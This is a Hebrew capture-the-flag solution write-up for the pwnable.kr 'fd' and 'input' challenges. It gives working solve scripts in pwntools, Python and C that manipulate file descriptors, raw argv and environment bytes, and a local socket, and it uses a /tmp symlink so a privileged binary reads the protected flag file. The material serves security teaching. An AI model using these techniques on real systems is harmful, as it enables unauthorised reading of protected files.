1.1 תיאורי קבצים וארגומנטים פתרון
פתרון - תיאורי קבצים וארגומנטים¶
כאן נעבור על הפתרונות המלאים של fd ו-input. הרעיון הוא לא רק להגיע לדגל, אלא להבין למה כל צעד עובד, כדי שתוכלו להכליל את הטכניקה לאתגרים הבאים.
פתרון תרגיל 1 - האתגר fd¶
מתחברים וקוראים את המקור:
הקוד הרלוונטי:
char buf[32];
int main(int argc, char* argv[], char* envp[]){
if(argc<2){ printf("pass argv[1] a number\n"); return 0; }
int fd = atoi( argv[1] ) - 0x1234;
int len = read(fd, buf, 32);
if(!strcmp("LETMEWIN\n", buf)){
printf("good job :)\n");
system("/bin/cat flag");
exit(0);
}
printf("learn about Linux file IO\n");
return 0;
}
הניתוח:
- התוכנית קוראת מ-fd שערכו
atoi(argv[1]) - 0x1234. - אנחנו רוצים ש-
readיקרא מ-stdin, שהוא fd מספר0, כי לתוך stdin אנחנו יכולים להזין כל דבר. - צריך אם כן
atoi(argv[1]) - 0x1234 == 0, כלומרatoi(argv[1]) == 0x1234. - הערך
0x1234בעשרוני הוא1*4096 + 2*256 + 3*16 + 4 = 4660. - ההשוואה היא מול
"LETMEWIN\n"- שימו לב לירידת השורה. כשמקלידיםLETMEWINולוחצים Enter, ה-Enter מוסיף\n, ולכן ה-buf מכיל בדיוקLETMEWIN\n.
הפתרון האינטראקטיבי:
פלט:
אפשר גם דרך pipe. שימו לב ש-echo מוסיף \n בעצמו, כך שזה תואם ל-"LETMEWIN\n":
ולמי שרוצה לתרגל pwntools, אותו דבר אבל דרך מנהרת SSH מהמחשב שלכם:
from pwn import *
s = ssh(user='fd', host='pwnable.kr', port=2222, password='guest')
p = s.process(['./fd', '4660']) # runs in the home directory, where flag is located
p.sendline(b'LETMEWIN') # sendline adds \n itself
p.recvuntil(b'good job')
print(p.recvall().decode())
למה זה עבד: כל הרעיון הוא שערך שנשלט על ידינו (argv[1]) הפך לתיאור קובץ. ברגע שגרמנו ל-fd להיות 0, ה-read קרא מ-stdin ואנחנו סיפקנו את המחרוזת המבוקשת. איך להכליל: בכל פעם שערך שנשלט על ידי המשתמש הופך ל-fd, אינדקס, גודל או אופסט - בדקו את ערכי הקצה. כאן 0 היה ערך הקצה שנתן לנו שליטה. במקרים אחרים זה יכול להיות ערך שלילי, אפס, או ערך גדול שגורם לoverflow.
פתרון תרגיל 2 - האתגר input¶
מתחברים וקוראים את המקור. החלקים הרלוונטיים של input.c (השמות argv['A'] וכו' פירושם אינדקס לפי קוד ASCII: 'A' הוא 65, 'B' הוא 66, 'C' הוא 67):
// Stage 1 - argv
if(argc != 100) return 0;
if(strcmp(argv['A'],"\x00")) return 0; // argv[65] empty string
if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0; // argv[66] = space, \n, \r
printf("Stage 1 clear!\n");
// Stage 2 - stdio
char buf[4];
read(0, buf, 4);
if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0; // fd 0
read(2, buf, 4);
if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0; // fd 2
printf("Stage 2 clear!\n");
// Stage 3 - env
if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
printf("Stage 3 clear!\n");
// Stage 4 - file
FILE* fp = fopen("\x0a", "r"); // file named newline
if(!fp) return 0;
if( fread(buf, 4, 1, fp)!=1 ) return 0;
if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
printf("Stage 4 clear!\n");
// Stage 5 - network
// ... socket/bind/listen/accept on port atoi(argv['C']) ...
if( recv(cd, buf, 4, 0) != 4 ) return 0;
if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
printf("Stage 5 clear!\n");
system("/bin/cat flag\n");
בואו נפרק שלב-שלב את מה שצריך לספק:
Stage 1 argv argc==100 ; argv[65]="" ; argv[66]=" \n\r" ; argv[67]=port string
Stage 2 stdin fd0 = 00 0a 00 ff ; fd2 = 00 0a 02 ff
Stage 3 env getenv("\xde\xad\xbe\xef") == "\xca\xfe\xba\xbe"
Stage 4 file file named "\x0a" contains 00 00 00 00
Stage 5 net connect to port argv[67] and send de ad be ef
שימו לב לשלוש הבעיות שאי אפשר לפתור עם shell רגיל: argv[65] צריך להיות מחרוזת ריקה, argv[66] מכיל רווח ותווי בקרה, ושם משתנה הסביבה וערכו מכילים בתים גבוהים. לכן נבנה את argv ו-env בעצמנו. בנוסף, נצטרך לגרום לתוכנית לקרוא מ-fd 2 בדיוק את הבתים שלנו - וזה בדיוק ה-pipe שראינו בהרצאה.
הכנת סביבת ההרצה¶
הבינארי מריץ system("/bin/cat flag"), כלומר קורא flag מתיקיית העבודה בהרשאות המוגברות שלו. אנחנו חייבים להריץ מתיקייה שאפשר לכתוב אליה (בתיקיית הבית של האתגר אין לנו הרשאת כתיבה, וצריך ליצור שם את הקובץ ששמו ירידת-שורה). הפתרון הקלאסי: עובדים בתת-תיקייה ב-/tmp, ומניחים שם קישור סמלי בשם flag שמצביע לדגל האמיתי. כשהבינארי המורשה יריץ cat flag, הוא יעקוב אחרי הקישור ויקרא את הדגל האמיתי בהרשאות שלו:
mkdir -p /tmp/inp_$USER && cd /tmp/inp_$USER
chmod 777 .
ln -sf /home/input2/flag flag # cat flag in the working directory will read the real flag
הפתרון בפייתון¶
הסקריפט הבא בונה את חמשת הערוצים. הוא משתמש ב-os.fork/os.dup2/os.execve כדי לשלוט בדיוק ב-fd 0 וב-fd 2 של התהליך-הבן, בדיוק כמו שראינו בהרצאה. הריצו אותו מתוך /tmp/inp_$USER:
#!/usr/bin/env python3
import os, socket, time
BIN = b'/home/input2/input'
PORT = 31337
# Stage 4: create a file named newline, with four zero bytes
with open('\x0a', 'wb') as f:
f.write(b'\x00\x00\x00\x00')
# Stage 1: argv of exactly length 100
argv = [b'input'] * 100
argv[ord('A')] = b'' # argv[65] = empty string
argv[ord('B')] = b'\x20\x0a\x0d' # argv[66] = space, \n, \r
argv[ord('C')] = str(PORT).encode() # argv[67] = the port to listen on
# Stage 3: environment variable with high bytes
env = {b'\xde\xad\xbe\xef': b'\xca\xfe\xba\xbe'}
# pipes: we will write, and the child will read from fd0 and fd2
in_r, in_w = os.pipe()
err_r, err_w = os.pipe()
pid = os.fork()
if pid == 0:
# child process: set up the fd table then exec
os.dup2(in_r, 0) # the child's fd0 = read end of the input pipe
os.dup2(err_r, 2) # the child's fd2 = read end of the error pipe
os.execve(BIN, argv, env)
os._exit(1)
# parent process
os.write(in_w, b'\x00\x0a\x00\xff') # Stage 2 - fd0
os.write(err_w, b'\x00\x0a\x02\xff') # Stage 2 - fd2
time.sleep(1) # wait for the program to bind/listen
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', PORT)) # Stage 5 - connect to the port the program is listening on
s.send(b'\xde\xad\xbe\xef')
os.waitpid(pid, 0)
הפלט הצפוי:
וריאציה עם pwntools¶
אם pwntools מותקן, אפשר לקצר. הטריק של fd 2 עדיין דורש pipe ידני, כי אנחנו מחברים את קצה הקריאה שלו ל-fd 2 של הבן:
from pwn import *
import os, time
PORT = 31337
argv = [b'input'] * 100
argv[ord('A')] = b''
argv[ord('B')] = b'\x20\x0a\x0d'
argv[ord('C')] = str(PORT).encode()
env = {b'\xde\xad\xbe\xef': b'\xca\xfe\xba\xbe'}
open('\x0a', 'wb').write(b'\x00\x00\x00\x00')
err_r, err_w = os.pipe() # the program reads from fd2 -> give it the read end
p = process(executable='/home/input2/input', argv=argv, env=env, stderr=err_r)
p.send(b'\x00\x0a\x00\xff') # Stage 2 - fd0
os.write(err_w, b'\x00\x0a\x02\xff') # Stage 2 - fd2
time.sleep(1)
c = remote('127.0.0.1', PORT) # Stage 5
c.send(b'\xde\xad\xbe\xef')
print(p.recvall().decode())
וריאציה ב-C (אם אין פייתון על השרת)¶
השרתים של pwnable.kr לא תמיד מגיעים עם הכלים שאתם רוצים. הנה גרסת C שקולה שמתקמפלת עם gcc מקומי ונותנת שליטה מדויקת בבתים. שמרו כ-solve.c, קמפלו עם gcc solve.c -o solve והריצו מתוך תיקיית העבודה:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int main() {
int port = 31337;
// Stage 4: file named newline
int f = open("\x0a", O_CREAT | O_WRONLY | O_TRUNC, 0644);
write(f, "\x00\x00\x00\x00", 4);
close(f);
// pipes for fd0 and fd2
int in[2], er[2];
pipe(in); pipe(er);
pid_t pid = fork();
if (pid == 0) {
dup2(in[0], 0);
dup2(er[0], 2);
char *argv[101];
for (int i = 0; i < 100; i++) argv[i] = "input";
argv['A'] = ""; // argv[65] empty string
argv['B'] = "\x20\x0a\x0d"; // argv[66]
char pbuf[16]; sprintf(pbuf, "%d", port);
argv['C'] = pbuf; // argv[67] the port
argv[100] = NULL;
char *envp[] = { "\xde\xad\xbe\xef=\xca\xfe\xba\xbe", NULL };
execve("/home/input2/input", argv, envp);
_exit(1);
}
write(in[1], "\x00\x0a\x00\xff", 4); // Stage 2 - fd0
write(er[1], "\x00\x0a\x02\xff", 4); // Stage 2 - fd2
sleep(1);
int s = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in a = {0};
a.sin_family = AF_INET;
a.sin_port = htons(port);
a.sin_addr.s_addr = inet_addr("127.0.0.1");
connect(s, (struct sockaddr*)&a, sizeof(a)); // Stage 5
write(s, "\xde\xad\xbe\xef", 4);
wait(NULL);
return 0;
}
הערה על הבתים במחרוזת הסביבה של C: כל \x צורך רק את ספרות ההקס שאחריו עד לתו הבא שאינו הקס. מכיוון שכל בית מופרד ב-\x משלו, הבתים יוצאים מדויקים: de ad be ef 3d(=) ca fe ba be.
למה זה עבד: כל שלב הוא ערוץ קלט אחר, וכולם בסופו של דבר תיאורי קבצים. את הערוצים שה-shell לא נותן לשלוט בהם (argv עם null/רווח, env עם בתים גבוהים) בנינו ידנית עם execve. את fd 2, שהוא בדרך כלל פלט, הפכנו לקלט על ידי חיבור קצה הקריאה של pipe אליו לפני ה-exec. את הדגל קראנו דרך הבינארי המורשה בעזרת קישור סמלי בתיקיית העבודה.
איך להכליל: כשאתם רואים אתגר שבודק כמה תנאים בו-זמנית, פרקו אותו לרשימה של "מאיזה ערוץ, לאיזה יעד, איזה ערך בדיוק", בנו שלב-שלב, ואמתו כל שלב לפי ההודעות שהתוכנית מדפיסה לפני שתוסיפו את הבא. וכשבינארי מורשה מריץ cat flag בתיקיית העבודה - קישור סמלי הוא כמעט תמיד התשובה.
פתרון תרגיל 3 - הכירו את הכלים שלכם¶
מקמפלים ומריצים את בינארי האבחון עם argv מבוקר:
from pwn import *
argv = [b'./diag', b'has space', b'', b'\x41\x42']
p = process(argv=argv)
print(p.recvall().decode())
פלט לדוגמה:
argc = 4
argv[0] (len=6): 2e 2f 64 69 61 67
argv[1] (len=9): 68 61 73 20 73 70 61 63 65
argv[2] (len=0):
argv[3] (len=2): 41 42
שימו לב: argv[1] שמר על הרווח (בית 20) בתוך ארגומנט אחד, ו-argv[2] הוא מחרוזת ריקה באורך 0. נסו לעשות את אותו דבר דרך shell (./diag "has space" "" AB) ותראו שהרווח מחייב מרכאות, ושמחרוזת ריקה מ-shell מבלבלת בקלות. זו בדיוק הסיבה שבאתגר input השתמשנו ב-process(argv=[...]) ולא ב-shell: רק כך יש שליטה מדויקת בכל בית של כל ארגומנט.